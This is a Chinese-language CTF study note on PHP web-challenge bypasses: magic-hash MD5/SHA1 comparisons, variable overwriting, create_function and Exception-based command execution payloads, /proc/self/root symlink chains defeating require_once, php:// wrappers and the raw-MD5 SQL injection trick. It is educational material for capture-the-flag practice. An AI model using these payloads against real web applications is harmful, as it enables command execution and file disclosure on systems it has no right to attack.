md5碰撞
有的ctf题中会出现两个参数不同,但要求md5值不同之类情况,这时候就需要一些方法来绕过,从而满足条件。

强弱类型比较
强比较
===:先判断两种字符串的类型是否相等,再比较
弱比较
==:先将字符串类型转化成相同,再比较
绕过
md5爆破
给出md5加密后的几位,可以进行爆破
import hashlib
def md5_enc(s):
m = hashlib.md5()
m.update(str(s).encode('utf-8'))
return m.hexdigest()
print(md5_enc('114514'))
if __name__ == '__main__':
result = []
for i in range(0, 9999999999):
i = str(i)
enc = md5_enc(i)
print(i + " md5 is " + enc)
# md5值前两位为0e
if enc[:6] == "c4d038":
print(enc)
break
弱比较
md5($a)==md5($b) & $a != $b
0e绕过
php会把如1e1,0e2等字符串识别为科学计数法,1e1会识别为10,0e2会识别为0,所以在弱比较时,若传入内容md5加密后为0e开头的字符串时,便会被识别为0,从而绕过
一些md5加密后为0e格式的字符串
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
240610708
0e462097431906509019562988736854
两次md5加密后为0e开头的字符串
7r4lGXCH2Ksu2JNT3BYM
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
数组绕过
如果传入的参数为数组则md5后的返回值为NULL,若两个参数都是数组,则NULL=NULL,判断为true
md5后值不变的字符串
$a=md5($a)
0e215962017 0e291242476940776845150308577824
0e1284838308 0e708279691820928818722257405159
0e1137126905 0e291659922323405260514745084877
0e807097110 0e318093639164485566453180786895
0e730083352 0e870635875304277170259950255928
强比较
1.还是可以用数组绕过
2.两串不一样的字符,加密结果却相同:
$a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
$b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
sha1
基本与md5相似
一对sha1加密后为科学计数法的字符串
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668
aa3OFF9m
0e36977786278517984959260394024281014729
0e1290633704
0e19985187802402577070739524195726831799
aaroZmOk
0e66507019969427134894567494305185566735
正则匹配preg_match()
php中的正则匹配函数为preg_match()
如:preg_match(“/php/i”, $a),从$a中找寻字符串;其中php是匹配的字符串,//i是匹配模式
绕过
加号绕过
在要传的内容前加上+(%2B)
回溯绕过
变量覆盖
变量覆盖就是通过外部输入将某个变量的值给覆盖掉。 将自定义的参数值替换掉原有变量值的情况就是变量覆盖漏洞。
foreach
1.遍历给定的 数组语句 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步
foreach(array_expression as $value)
2.同上,同时当前单元的键名也会在每次循环中被赋给变量 $key。
foreach(array_expression as$key=> $value)
导致变量覆盖的原因
$$导致的变量覆盖
php中$$表示的是一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。
$a=array("a","b","c","d");
foreach($a as $key=>$value){//键名赋给$key,键值赋给$value
$$key=$value;//键值又赋给$$key
}
print_r($$key);
print_r($value);
print_r($key);
?>
例题
要输出flag,就要使flag=flag
但一开始的if语句进行了 限制,导致传参不能直接传入flag
所以利用第二个foreach函数,传入1=flag&flag=1
过程
$1=$flag
$flag=$1,$1=flag
$flag=$1=flag

说都是假象,最后在源码找到flag

extract()函数导致的变量覆盖问题
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

eg:
<?php
$arr = array('name' => 'x1', 'age' => '20', 'address' => 'Henan');
extract($arr);
echo($name) . "\n";
echo($age) . "\n";
echo($address) . "\n";
?>
输出结果
x1
20
adress
parse_str函数导致的变量覆盖问题
parse_str() 函数用于把查询字符串解析到变量中,如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量
eg:
a=123;
$id=$_GET['id'];
@parse_str($id);
echo $a;
id=a=456;
echo $a;
输出结果:
123
456
create_function构造匿名函数
根据传递的参数创建匿名函数,并未其返回唯一名称(php7.2.0以后不能使用)
语法
create_function(string $args,string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分
用法
使用时被当作函数的参数传入create_function,执行的参数传入:;}执行的命令//
;}用来闭合前面的代码,//用来注释后面的代码
eg:
前面的代码;
}
执行的命令//注释后面的内容
例题

正则匹配shaw函数,要求为小写字母和下划线
正则匹配root函数,过滤了一堆东西
如果这两个条件都满足,则调用shaw这个函数,并传入两个参数空字符和root
将shaw作为函数,构造匿名函数create_function
playload:?root=;}system(‘ls /’);/*,POST:shaw=create_function
其中;}用来闭合前面的语句,/*用来注释掉后面的语句(用//也可以)

过滤了cat和tac,使用sort读取,把so也过滤了,使用more

gettext拓展的使用
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
在开启该扩展后,_()等效于gettext(),正好针对过滤操作中对字母数字的过滤,call_user_func(’_’,‘phpinfo’) 返回的就是phpinfo
<?php
echo gettext("phpinfo");
结果 phpinfo
echo _("phpinfo");
结果 phpinfo
php中参数的非法参数名传参问题
php中会把参数名中的特殊字符识别为其他字符(版本小于8)
参数中的点和空格会被识别为下划线,中括号会被识别为下划线,下划线会被识别为中括号
如果有多个[,只会改第一个
||的优先级低于&&
所以对于if(($code === mt_rand(1,0x36D) && $password === $flag )||( $username ==="admin")){
只需要满足$username=admin
$_SERVER[‘argv’]
$_SERVER[‘argv’]:
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
$_SERVER[‘QUERY_STRING’]相当于获取?后的内容
利用这个$a来解题时,我们可以利用$_SERVER变量的一些特性并且结合parse_str来构造payload:
GET方法:
?a=1+fl0g=flag_give_me
POST方法:
fun=parse_str($a[1])
//1为数组的第二个元素即fl0g=flag_give_me
也可以用assert:
GET方法:
?$fl0g=flag_give_me
POST方法:
fun=assert($a[0])
ereg函数的截断漏洞
ereg函数
搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的。
语法
ereg($pattern,$string[,$regs])
$patten:匹配模式
如:^[a-zA-Z]+$匹配大小写字母
$string:要匹配的字符串
$regs:要存入的数组,如果匹配到字符串则匹配到该数组
绕过
利用数组绕过
ereg()只能处理字符串,遇到数组会返回null,null!==false
可以绕过ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE
%00截断绕过正则匹配
ereg()函数读到%00时,就截止了(get请求时默认会进行一次URL解码,由于%00是一个不可见字符,后面的内容就被截断了)
利用数组整形溢出绕过赋值永真判断

该题的判断为=,是赋值,使其一直为真,不能输出flag,但若是给0传其下标最大数,就会使其溢出,无法赋值
原理
索引数组最大下标等于最大int数,对其追加会导致整型数溢出,进而引起追加失败(下一次自动赋值就会给2^63赋值,从而产生错误)
int范围:32位最大是2^31-1,64位是2^63-1,就是2147483647与9223372036854775807
>/dev/null 2>&1重定向绑定绕过
shell重定向
把本来已经默认的,确定的输入输出给重新定位到你想要的地方
>和>>
这两个都是 重定向符号,符号的左边表示文件描述符或者要重定位的内容,如果不写默认是文件描述符1,即标准输出;右边可以是文件也可以是设备。 1.当使用>时,如果右边的文件存在则会先删除在创建,如果右边的文件不存在则创建; 2.当使用>>时,表示追加,右边的文件不会被删除,新的内容会添加到文件的末尾。
标准输入、标准输出、标准错误输出
我们执行一个shell命令行时通常会自动打开三个标准文件,即标准输入文件(stdin),通常对应终端的键盘;标准输出文件(stdout)和标准错误输出文件(stderr)。Linux终端用2表示标准错误,1表示标准输出,0表示标准输入。
标准输出文件和标准错误输出文件都对应终端的屏幕。进程将从标准输入文件中得到输入数据,将正常输出数据输出到标准输出文件,而将错误信息送到标准错误文件中。
总结:执行一个shell命令会有输出:标准输出或者错误输出,对应的数值为1,2。如果我们看见1,就要明白指代标准输出信息,看见2明白指代输出错误信息。
>/dev/null 2>&1
/dev/null :将文件描述符1重定向到/dev/null,在 Unix 和类 Unix 系统中,/dev/null是一个特殊的文件,它被称为“黑洞”,因为它会丢弃所有写入它的数据。这相当于一个数据的“下水道”,任何发送到 /dev/null的数据都会被永久删除,不会有任何输出。
2>&1:将文件描述符2重定向到文件描述符1指向的地方,也就是空的设备文件。执行该指令后,标准输出和错误输出都往空设备文件里写,效果就是两者都丢不再打印到屏幕。
输出重定向是重点,我们可以把它理解为,把前一个命令的输出,作为后一个命令的输入。
绕过
使用;,&&(%26%26),%0a,||等,使用管道符分割,使重定向语句不影响我们输入的语句正常进行
php中调用类中成员
php中->和::可以用于调用类中成员
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法(调用类中函数需要调用静态类)
php中的短标签
正常:<?php ?>
短标签写法:<?= ?>
需要在php.ini(配置文件)中设置为on:
short_open_tag = On(php版本在5.4.0以前从需要)
可以绕过对php的过滤
利用call_user_func函数传数组调用类方法
当需要调用类中函数,但过滤了:号时,如果参数是通过call_user_func函数调用,则可以利用call_user_func函数传数组调用类方法,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。
例题
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:52:13
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
例题
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
playload:ctfshow[0]=ctfshow&ctfshow[1]=getFlag
使用异常处理类Exception执行命令
异常(Exception)是一种特殊的对象,用于表示程序运行时发生的非预期情况。php提供了内置的Exception类(就是一种php的原生类)
通过新建类new Exception(system(‘cmd’)
其他异常处理类还有ErrorException,TypeError,ParseError等
先new$v1()新建一个类Exception,然后利用$v2进行命令执行
playload:?v1=Exception&v2=system(‘ls’)
利用FilesystemIterator获取文件目录
提供了一个用于查看文件系统目录内容的简单接口,该类的构造方法将会创建一个指定目录的迭代器(FilesystemIterator()可以读取指定的目录文件)
getcwd:将当前工作目录的绝对路径复制到参数buffer所指的内存空间中,参数size为buf的空间大小。(getcwd()可以获取当前目录的路径)
二者配合就可以读取当前文件没目录(只能读取第一个文件)
new FilesystemIterator(getcwd())
strpos函数绕过
strpos:用于查找一个字符串在另一个字符串中首次出现的位置。如果找到了匹配的字符串,strpos函数会返回匹配的第一个字符的索引值(从 0 开始),否则返回 false。
绕过
数组绕过,strpos函数不能识别数组,会返回false
intval函数的使用
intval( mixed $value, int $base = 10) : int
用于获取变量的整数值;可使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。
解释if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
else{
echo intval($num,0);
}
科学计数法也可以绕过
解释intval('4476.0')===4476 小数点
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格
payload:num=4476.0
三目运算符的理解+变量覆盖
解释$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
第一行,GET被设置,就可以用POST覆盖GET的值。中间两行意义不大,是flag就被COOKIE覆盖,然后被SERVER覆盖,不是flag被赋值flag然后条件成立也是被SERVER覆盖。而且这个被覆盖的GET没有指定,任意都行,第四行才是关键,等于flag就输出flag,不等于显示源码。所以只需要传入一个任意的GET保证$_GET是被设置的。然后POST一个覆盖它
payload:get:1=1 post:HTTP_FLAG=flag
文件包含:使用多级软连接绕过文件判断(绕过require_once两次包含)
通过require_once来多次包含同一个文件
require_once():包含并执行指定的PHP文件,但会检查文件是否已被加载过,如果文件已经被加载,则不会再次加载
利用多级软连接来使同一个文件被require_once()包含两次
<?php
require_once '/var/www/html/flag.php';
// some logic here...
require_once $_GET['file'];
?>
这里存在一个文件包含漏洞,因为他使用了require_once(),如果我们像利用该漏洞读取一些文件时,我们通常会使用php伪协议来读取文件源码,但是如果我们想要读取的文件已经在前面被包含过了,那么第二次包含就会失败。
这时我们就可以使用多重软连接,正常情况下,PHP会将用户输入的文件名进行resolve,转换成标准的绝对路径,这个转换的过程会将…/、./、软连接等都进行计算,得到一个最终的路径,再进行包含。每次包含都会经历这个过程,所以,只要是相同的文件,不管中间使用了…/进行跳转,还是使用软连接进行跳转,都逃不过最终被转换成原始路径的过程,也就绕不过require_once,但是如果软连接的次数超过了某一个上限,Linux的lstat函数就会出错,导致PHP计算出的绝对路径就会包含一部分软连接的路径,也就和原始路径不相同的,即可绕过require_once限制。 在Linux下,最常见的软连接就是/proc/self/root,这个路径指向根目录。所以,我们可以多次使用这个路径 file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php 这样就可以包含两次/www/html/flag.php
例
[WMCTF2020]Make PHP Great Again 2.0
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
想要包含flag.php但是flag.php已经在前面被包含了一次,且require_once只能被包含一次同一个文件,这时就可以使用多重软连接绕过(详细看/proc目录的运用)
playload:?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
is_file()
判断文件是否存在并且检查的文件名是否是正常的文件
绕过
if(! is_file($file)){
highlight_file($file);
}else{
echo "hacker!";
}
//让is_file不是文件的类型,highlight_file是文件
伪协议
?file=php://filter/resource=flag.php
多重软连接
/proc/self/root是Linux中常见的软连接,指向根目录,is_file会尝试解析符号连接,但如果遇到过多的符号连接嵌套,就有可能会返回false,所以利用多个/proc/self/root+文件,就可以绕过检测
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
绕过md5(pass,true)(md5注入)

md5函数会将我们输入的值,加密,然后转换成16字符的二进制格式,而ffifdyop被md5加密后的276f722736c95d99e921722cf9ed621c转换成16位原始二进制格式为’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,这个字符串前几位刚好是’ or ‘6,有一边为真,就会使其被判断为真(布尔判断时,数字开头得到字符串会被当做整形数)
sql语句:select * from ‘admin’ where password=’’or ’6‘,6被判断为真就可以绕过
trim函数的绕过+is_numeric绕过
语法
trim(string,charlist)
去除字符串首尾处的空白字符
参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格
这两个函数一起检测时,is_numeric认为内容里有%09 %0a %0b %0c %0d %20也算数字,
过滤
for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'1';
if(trim($x)!=='1' && is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}
结果,只剩下+-和换页符%0c
file_get_contents()函数的绕过
file_get_contents()
将一整个文件读入一个字符串
绕过
使用php://input伪协议绕过
get参数:?xxx=php://input
post参数:file_get_contents()函数返回的值
data://伪协议绕过
url:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
一些函数
ctype_space()
做空白字符检测,只有一个变量,检测该变量里面的字符是哦否包含空白
如果变量里面的每个字符最终被实际输出的时候都是某种形式的空白,就返回TRUE;否则返回FALSE。 除了空白字符,还包括缩进,垂直制表符,换行符,回车和换页字符
get_defined_vars
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量
strrev
strrev()函数是PHP中的一个内置函数,它可用于反转字符串。该函数不会对作为参数传递给它的原始字符串进行任何更改
var_dump()
var_dump() 函数用于输出变量的相关信息
ctype_alpha
用于检查给定的字符串是否仅包含字母